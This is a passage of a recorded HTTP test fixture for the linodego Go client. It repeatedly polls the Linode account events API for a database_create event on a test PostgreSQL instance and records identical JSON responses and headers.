https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 